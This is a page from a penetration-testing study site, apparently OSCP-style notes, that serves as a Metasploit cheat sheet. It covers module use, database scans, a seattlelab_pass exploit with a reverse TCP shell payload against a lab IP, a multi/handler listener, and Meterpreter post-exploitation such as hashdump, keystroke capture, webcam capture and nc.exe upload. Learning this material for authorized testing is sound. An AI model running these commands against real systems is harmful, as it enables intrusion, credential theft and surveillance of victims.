On Cyber War
TwitterGitHubLinkedIn
  • Welcome
  • Source Zero Con References
  • 1. Reconnaissance/ OSINT
    • Information gathering
    • OSINT tools
    • Search Engine OSINT
    • Sock puppets
  • 2. Scanning
    • Host discovery
    • Port Scanning with Nmap
    • Nmap Scripting Engine
  • 3. Enumeration
    • 21 - FTP
    • 22 - SSH
    • 25 - SMTP
    • 53 - DNS
    • 80/443 - HTTP(s)
    • 111 - NFS
    • 135 - RPC
    • 139/445 - NetBIOS/SMB
    • 161 (UDP) - SNMP
    • Wordpress
    • Finger (Solaris)
    • Active Directory
  • 4. Exploitation
    • Public exploits
    • Web application attacks
      • Command injection
      • Cross site scripting
      • Directory traversal
      • File inclusion
      • SQL injection
    • Password attacks
    • Buffer overflows
    • Active Directory
    • Metasploit
  • 5. Maintaining access
    • Upgrading simple shells
    • Reverse shells
    • MSFvenom
    • File transfers
    • Linux privilege escalation
    • Windows privilege escalation
    • Tunneling/Port Forwarding
  • 6. Miscellaneous
    • Connections
  • 7. Walkthroughs
    • HTB - Blunder
    • HTB - Haircut
    • THM -HackPark
Powered by GitBook
On this page
  • Msfconsole
  • Exploring
  • Database access
  • Exploit modules
  • Multi Handler
  • Meterpreter payloads – provide additional features and functionality
  • Post exploitation
  1. 4. Exploitation

Metasploit

Msfconsole

Exploring

Start: msfconsole

View auxiliary modules: show auxiliary

Use modules: use auxiliary/scanner/snmp/snmp_enum

View module options: show options

Set global session values: setg RHOSTS 10.11.1.5

Database access

MSF logs findings and information about discovered hosts in a database

View discovered hosts: hosts

Use the db_nmap wrapper to scan: db_nmap 10.11.1.5

Search for machines open ports: services -p 443

Exploit modules

Search exploits: search pop3

Use exploit: use exploit/windows/pop3/seattlelab_pass

View options: show options

Set options: set RHOST 10.11.1.5

View payloads: show payloads

Select payload: set payload windows/shell/reverse_tcp

View payload options: show options

Once configured, run exploit: exploit

Multi Handler

Used to receive callbacks from meterpreter payloads

use exploit/multi/handler

Set payload to match msfvenom command used to generate shell

Set IP address and port

run

Meterpreter payloads – provide additional features and functionality

View system info: sysinfo

View UID: getuid

Search files: search string

Upload files: upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec two characters required to prevent shell escaping

Download files: download c:\\Windows\\system32\\calc.exe /tmp/calc.exe

Invoke a command shell: shell

Post exploitation

help displays a list of available meterpreter post exploitation commands

Includes: download, upload, portfwd, route, keyscan_start/stop, screenshot, record_mic, webcam_snap, getsystem (priv esc), hashdump

Useful tool for finding priv esc options use post/multi/recon/local_exploit_suggester

PreviousActive DirectoryNextUpgrading simple shells

Last updated 4 years ago